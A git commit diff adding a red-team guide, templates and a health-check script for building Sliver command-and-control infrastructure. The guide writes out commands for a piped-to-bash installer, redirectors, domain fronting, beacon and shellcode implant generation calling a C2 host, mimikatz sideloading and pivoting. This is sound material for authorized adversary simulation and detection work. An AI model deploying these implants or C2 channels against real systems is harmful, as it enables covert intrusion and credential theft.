Initial commit - 611 cybersecurity skills across all subdomains

2026-08-07 11:10:19 +03:00 · 2026-02-25 10:47:44 +01:00
commit 22a7ab1462
1765 changed files with 280648 additions and 0 deletions
@@ -0,0 +1,173 @@
+---
+name: building-c2-infrastructure-with-sliver-framework
+description: Build and configure a resilient command-and-control infrastructure using BishopFox's Sliver C2 framework with redirectors, HTTPS listeners, and multi-operator support for authorized red team engagements.
+domain: cybersecurity
+subdomain: red-teaming
+tags: [red-team, c2-framework, sliver, command-and-control, adversary-simulation, infrastructure, post-exploitation]
+version: "1.0"
+author: mahipal
+license: MIT
+---
+# Building C2 Infrastructure with Sliver Framework
+
+## Overview
+
+Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.
+
+## Objectives
+
+- Deploy a Sliver team server on hardened cloud infrastructure
+- Configure HTTPS, mTLS, DNS, and WireGuard listeners
+- Generate implants (beacons and sessions) for target platforms
+- Set up NGINX or Apache redirectors between implants and the team server
+- Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
+- Configure multi-operator access with certificate-based authentication
+- Establish operational security controls for C2 communications
+
+## MITRE ATT&CK Mapping
+
+- **T1071.001** - Application Layer Protocol: Web Protocols
+- **T1071.004** - Application Layer Protocol: DNS
+- **T1573.002** - Encrypted Channel: Asymmetric Cryptography
+- **T1090.002** - Proxy: External Proxy (Redirectors)
+- **T1105** - Ingress Tool Transfer
+- **T1132.001** - Data Encoding: Standard Encoding
+- **T1572** - Protocol Tunneling
+
+## Implementation Steps
+
+### Phase 1: Team Server Deployment
+1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
+2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
+3. Install Sliver using the official install script:
+   ```bash
+   curl https://sliver.sh/install | sudo bash
+   ```
+4. Start the Sliver server daemon:
+   ```bash
+   systemctl start sliver
+   # Or run interactively
+   sliver-server
+   ```
+5. Generate operator configuration files for team members:
+   ```bash
+   new-operator --name operator1 --lhost <team-server-ip>
+   ```
+
+### Phase 2: Listener Configuration
+1. Configure an HTTPS listener with a legitimate SSL certificate:
+   ```bash
+   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
+   ```
+2. Configure a DNS listener for fallback C2:
+   ```bash
+   dns --domains c2dns.example.com --lport 53
+   ```
+3. Configure mTLS listener for high-security sessions:
+   ```bash
+   mtls --lhost 0.0.0.0 --lport 8888
+   ```
+4. Configure WireGuard listener for tunneled access:
+   ```bash
+   wg --lport 51820
+   ```
+
+### Phase 3: Redirector Setup
+1. Deploy a separate VPS as a redirector (positioned between targets and team server)
+2. Install and configure NGINX as a reverse proxy:
+   ```nginx
+   server {
+       listen 443 ssl;
+       server_name c2.example.com;
+       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
+       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
+
+       location / {
+           proxy_pass https://<team-server-ip>:443;
+           proxy_ssl_verify off;
+           proxy_set_header Host $host;
+           proxy_set_header X-Real-IP $remote_addr;
+       }
+   }
+   ```
+3. Configure iptables rules on the team server to only accept connections from the redirector:
+   ```bash
+   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
+   iptables -A INPUT -p tcp --dport 443 -j DROP
+   ```
+4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting
+
+### Phase 4: Implant Generation
+1. Generate an HTTPS beacon implant:
+   ```bash
+   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
+   ```
+2. Generate a DNS beacon for restricted networks:
+   ```bash
+   generate beacon --dns c2dns.example.com --os windows --arch amd64
+   ```
+3. Generate a shellcode payload for injection:
+   ```bash
+   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
+   ```
+4. Configure beacon jitter and callback intervals:
+   ```bash
+   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
+   ```
+
+### Phase 5: Post-Exploitation Operations
+1. Interact with active beacons/sessions:
+   ```bash
+   beacons        # List active beacons
+   use <beacon-id> # Interact with a beacon
+   ```
+2. Execute post-exploitation modules:
+   ```bash
+   ps              # Process listing
+   netstat         # Network connections
+   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
+   sideload /path/to/mimikatz.dll  # Load DLLs
+   ```
+3. Set up pivots for internal network access:
+   ```bash
+   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
+   ```
+4. Use BOF (Beacon Object Files) for in-memory execution:
+   ```bash
+   armory install sa-ldapsearch  # Install from armory
+   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
+   ```
+
+## Tools and Resources
+
+| Tool | Purpose | Platform |
+|------|---------|----------|
+| Sliver Server | C2 team server and implant management | Linux/macOS/Windows |
+| Sliver Client | Operator console for team members | Cross-platform |
+| NGINX | Redirector and reverse proxy | Linux |
+| Certbot | Let's Encrypt SSL certificate generation | Linux |
+| Cloudflare | CDN and domain fronting | Cloud |
+| Armory | Sliver extension/BOF package manager | Built-in |
+
+## Detection Signatures
+
+| Indicator | Detection Method |
+|-----------|-----------------|
+| Default Sliver HTTP headers | Network traffic analysis for unusual User-Agent strings |
+| mTLS on non-standard ports | Firewall logs for outbound connections to unusual ports |
+| DNS TXT record queries with high entropy | DNS log analysis for encoded C2 traffic |
+| WireGuard UDP traffic on port 51820 | Network flow analysis for WireGuard handshake patterns |
+| Sliver implant file hashes | EDR/AV signature matching against known Sliver samples |
+
+## Validation Criteria
+
+- [ ] Team server deployed and hardened with firewall rules
+- [ ] HTTPS listener configured with valid SSL certificate
+- [ ] DNS listener configured as fallback C2 channel
+- [ ] At least one redirector deployed between targets and team server
+- [ ] Multi-operator access configured with unique certificates
+- [ ] Implants generated for target operating systems
+- [ ] Beacon callback intervals and jitter configured for stealth
+- [ ] Post-exploitation modules tested (process listing, .NET assembly execution)
+- [ ] Pivot functionality validated for internal network access
+- [ ] All C2 traffic encrypted and passing through redirectors
@@ -0,0 +1,69 @@
+# Sliver C2 Infrastructure Configuration Template
+
+## Engagement Information
+
+| Field | Value |
+|-------|-------|
+| Engagement Name | |
+| Client | |
+| Start Date | |
+| End Date | |
+| Authorization Document | |
+
+## Team Server Configuration
+
+| Parameter | Value |
+|-----------|-------|
+| Server IP | |
+| Server OS | Ubuntu 22.04 LTS |
+| Sliver Version | |
+| Firewall Rules Applied | Yes / No |
+| SSH Key-Only Auth | Yes / No |
+
+## Listener Configuration
+
+| Listener Type | Port | Domain/Host | Certificate | Status |
+|--------------|------|-------------|-------------|--------|
+| HTTPS | 443 | | Let's Encrypt / Custom | |
+| mTLS | 8888 | | Auto-generated | |
+| DNS | 53 | | N/A | |
+| WireGuard | 51820 | | Auto-generated | |
+
+## Redirector Configuration
+
+| Redirector ID | IP Address | Cloud Provider | Proxy Software | Team Server Dest |
+|--------------|------------|----------------|----------------|------------------|
+| REDIR-01 | | | NGINX | |
+| REDIR-02 | | | Apache | |
+
+## Operator Access
+
+| Operator Name | Config File | Role | Access Granted |
+|--------------|-------------|------|----------------|
+| | | Lead | |
+| | | Operator | |
+
+## Domain Configuration
+
+| Domain | Registrar | Category | Purpose |
+|--------|-----------|----------|---------|
+| | | Uncategorized | HTTPS C2 |
+| | | Uncategorized | DNS C2 |
+
+## Implant Inventory
+
+| Implant Name | Type | OS | Arch | Protocol | Callback Interval | Jitter |
+|-------------|------|-----|------|----------|-------------------|--------|
+| | Beacon | Windows | amd64 | HTTPS | 60s | 30% |
+| | Session | Linux | amd64 | mTLS | N/A | N/A |
+
+## OPSEC Checklist
+
+- [ ] Team server IP not directly exposed to target network
+- [ ] All C2 traffic routed through redirectors
+- [ ] SSL certificates use categorized/aged domains
+- [ ] DNS C2 domain registered with privacy protection
+- [ ] Beacon intervals randomized with jitter
+- [ ] Implant names do not reveal engagement details
+- [ ] Operator configs distributed via secure channel
+- [ ] Kill date configured on all implants
@@ -0,0 +1,32 @@
+# Standards and References - Sliver C2 Infrastructure
+
+## MITRE ATT&CK References
+
+| Technique ID | Name | Tactic |
+|-------------|------|--------|
+| T1071.001 | Application Layer Protocol: Web Protocols | Command and Control |
+| T1071.004 | Application Layer Protocol: DNS | Command and Control |
+| T1573.002 | Encrypted Channel: Asymmetric Cryptography | Command and Control |
+| T1090.002 | Proxy: External Proxy | Command and Control |
+| T1105 | Ingress Tool Transfer | Command and Control |
+| T1132.001 | Data Encoding: Standard Encoding | Command and Control |
+| T1572 | Protocol Tunneling | Command and Control |
+
+## Industry Standards
+
+- **PTES (Penetration Testing Execution Standard)** - Post-Exploitation and C2 sections
+- **OWASP Testing Guide** - Infrastructure testing methodology
+- **NIST SP 800-115** - Technical Guide to Information Security Testing and Assessment
+- **TIBER-EU** - Threat Intelligence-Based Ethical Red Teaming framework
+
+## Official Documentation
+
+- Sliver GitHub: https://github.com/BishopFox/sliver
+- Sliver Wiki: https://github.com/BishopFox/sliver/wiki
+- Sliver Armory: https://github.com/sliverarmory
+
+## Key Research
+
+- BishopFox Red Team Tools and C2 Frameworks Report (2025)
+- SpecterOps Adversary Simulation methodology
+- SANS SEC565: Red Team Operations and Adversary Emulation
@@ -0,0 +1,72 @@
+# Workflows - Sliver C2 Infrastructure
+
+## Infrastructure Deployment Workflow
+
+```
+1. Planning Phase
+   ├── Define engagement scope and authorized targets
+   ├── Select cloud providers for team server and redirectors
+   ├── Register domains for C2 channels (categorized domains preferred)
+   └── Obtain SSL certificates (Let's Encrypt or purchased)
+
+2. Team Server Setup
+   ├── Deploy VPS with hardened OS configuration
+   ├── Install Sliver server daemon
+   ├── Configure firewall rules (restrict to redirector IPs only)
+   └── Generate operator configs for team members
+
+3. Redirector Layer
+   ├── Deploy 2+ redirector VPS instances in different regions
+   ├── Configure NGINX reverse proxy on each redirector
+   ├── Implement Apache mod_rewrite rules for traffic filtering
+   └── Optionally add Cloudflare CDN layer
+
+4. Listener Configuration
+   ├── HTTPS listener (primary) with valid SSL cert
+   ├── DNS listener (fallback) for restricted networks
+   ├── mTLS listener (high-security sessions)
+   └── WireGuard listener (tunneled access)
+
+5. Implant Generation
+   ├── Generate OS-specific beacons (Windows, Linux, macOS)
+   ├── Configure callback intervals and jitter
+   ├── Test implant connectivity through redirector chain
+   └── Validate implant evasion against target AV/EDR
+
+6. Operational Use
+   ├── Deploy implant to target via initial access vector
+   ├── Establish C2 session through redirector infrastructure
+   ├── Execute post-exploitation tasks
+   └── Maintain operational security throughout engagement
+```
+
+## Failover and Resilience Workflow
+
+```
+Primary C2 Path:
+  Target → Redirector A → Team Server (HTTPS/443)
+
+Failover Path 1:
+  Target → Redirector B → Team Server (HTTPS/8443)
+
+Failover Path 2:
+  Target → DNS Resolver → Team Server (DNS/53)
+
+Emergency Path:
+  Target → WireGuard Tunnel → Team Server (UDP/51820)
+```
+
+## Multi-Operator Workflow
+
+```
+1. Team Lead generates operator configs:
+   sliver-server > new-operator --name <operator> --lhost <server-ip>
+
+2. Distribute .cfg files securely to each operator
+
+3. Operators connect using Sliver client:
+   sliver-client import <operator-config.cfg>
+
+4. All operators share access to beacons and sessions
+5. Use naming conventions for implants per operator
+```
@@ -0,0 +1,180 @@
+#!/usr/bin/env python3
+"""
+Sliver C2 Infrastructure Health Check and Management Script
+
+This script provides automated health monitoring for Sliver C2 infrastructure
+components including team server, redirectors, and listener status.
+Intended for authorized red team engagements only.
+"""
+
+import subprocess
+import json
+import socket
+import ssl
+import sys
+import os
+from datetime import datetime
+from pathlib import Path
+
+
+def check_port_open(host: str, port: int, timeout: float = 5.0) -> bool:
+    """Check if a specific port is open on a host."""
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.settimeout(timeout)
+        result = sock.connect_ex((host, port))
+        sock.close()
+        return result == 0
+    except (socket.error, OSError):
+        return False
+
+
+def check_ssl_certificate(host: str, port: int = 443) -> dict:
+    """Check SSL certificate validity on a listener."""
+    try:
+        context = ssl.create_default_context()
+        context.check_hostname = False
+        context.verify_mode = ssl.CERT_NONE
+        with socket.create_connection((host, port), timeout=5) as sock:
+            with context.wrap_socket(sock, server_hostname=host) as ssock:
+                cert = ssock.getpeercert(binary_form=False)
+                return {
+                    "status": "valid",
+                    "subject": str(cert.get("subject", "N/A")) if cert else "No cert data",
+                    "issuer": str(cert.get("issuer", "N/A")) if cert else "No cert data",
+                    "expiry": str(cert.get("notAfter", "N/A")) if cert else "No cert data"
+                }
+    except ssl.SSLError as e:
+        return {"status": "ssl_error", "error": str(e)}
+    except (socket.error, OSError) as e:
+        return {"status": "connection_error", "error": str(e)}
+
+
+def check_dns_listener(domain: str, nameserver: str = "8.8.8.8") -> dict:
+    """Check if DNS C2 domain resolves correctly."""
+    try:
+        result = subprocess.run(
+            ["nslookup", domain, nameserver],
+            capture_output=True, text=True, timeout=10
+        )
+        return {
+            "status": "active" if result.returncode == 0 else "inactive",
+            "output": result.stdout.strip()[:500]
+        }
+    except (subprocess.TimeoutExpired, FileNotFoundError) as e:
+        return {"status": "error", "error": str(e)}
+
+
+def check_redirector_health(redirector_ip: str, port: int = 443) -> dict:
+    """Verify redirector is forwarding traffic correctly."""
+    result = {
+        "ip": redirector_ip,
+        "port": port,
+        "port_open": check_port_open(redirector_ip, port),
+        "ssl": check_ssl_certificate(redirector_ip, port) if port == 443 else "N/A"
+    }
+    return result
+
+
+def generate_infrastructure_report(config: dict) -> str:
+    """Generate a health report for the C2 infrastructure."""
+    report_lines = [
+        "=" * 60,
+        f"Sliver C2 Infrastructure Health Report",
+        f"Generated: {datetime.now().isoformat()}",
+        "=" * 60,
+        ""
+    ]
+
+    team_server = config.get("team_server", {})
+    ts_host = team_server.get("host", "127.0.0.1")
+    ts_ports = team_server.get("ports", [443, 8888, 53, 51820])
+
+    report_lines.append("[Team Server]")
+    report_lines.append(f"  Host: {ts_host}")
+    for port in ts_ports:
+        status = "OPEN" if check_port_open(ts_host, port) else "CLOSED"
+        report_lines.append(f"  Port {port}: {status}")
+    report_lines.append("")
+
+    redirectors = config.get("redirectors", [])
+    report_lines.append("[Redirectors]")
+    for redir in redirectors:
+        redir_ip = redir.get("ip", "")
+        redir_port = redir.get("port", 443)
+        health = check_redirector_health(redir_ip, redir_port)
+        status = "HEALTHY" if health["port_open"] else "DOWN"
+        report_lines.append(f"  {redir_ip}:{redir_port} - {status}")
+    report_lines.append("")
+
+    dns_domains = config.get("dns_domains", [])
+    report_lines.append("[DNS Listeners]")
+    for domain in dns_domains:
+        dns_check = check_dns_listener(domain)
+        report_lines.append(f"  {domain}: {dns_check['status']}")
+    report_lines.append("")
+
+    report_lines.append("[SSL Certificates]")
+    https_hosts = config.get("https_hosts", [])
+    for host in https_hosts:
+        cert_info = check_ssl_certificate(host)
+        report_lines.append(f"  {host}: {cert_info['status']}")
+        if cert_info["status"] == "valid":
+            report_lines.append(f"    Expiry: {cert_info.get('expiry', 'N/A')}")
+    report_lines.append("")
+
+    report_lines.append("=" * 60)
+    return "\n".join(report_lines)
+
+
+def parse_sliver_config(config_path: str) -> dict:
+    """Parse a Sliver infrastructure configuration file."""
+    try:
+        with open(config_path, "r") as f:
+            return json.load(f)
+    except (FileNotFoundError, json.JSONDecodeError) as e:
+        print(f"Error loading config: {e}")
+        return {}
+
+
+def main():
+    """Main entry point for infrastructure health check."""
+    config_path = sys.argv[1] if len(sys.argv) > 1 else "c2_infrastructure.json"
+
+    if not os.path.exists(config_path):
+        print(f"Config file not found: {config_path}")
+        print("Creating example configuration...")
+        example_config = {
+            "team_server": {
+                "host": "10.0.0.1",
+                "ports": [443, 8888, 53, 51820]
+            },
+            "redirectors": [
+                {"ip": "203.0.113.10", "port": 443},
+                {"ip": "203.0.113.20", "port": 443}
+            ],
+            "dns_domains": ["c2dns.example.com"],
+            "https_hosts": ["c2.example.com"]
+        }
+        with open(config_path, "w") as f:
+            json.dump(example_config, f, indent=2)
+        print(f"Example config written to {config_path}")
+        print("Edit the configuration and re-run the script.")
+        return
+
+    config = parse_sliver_config(config_path)
+    if not config:
+        print("Failed to parse configuration. Exiting.")
+        return
+
+    report = generate_infrastructure_report(config)
+    print(report)
+
+    report_file = f"c2_health_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.txt"
+    with open(report_file, "w") as f:
+        f.write(report)
+    print(f"Report saved to: {report_file}")
+
+
+if __name__ == "__main__":
+    main()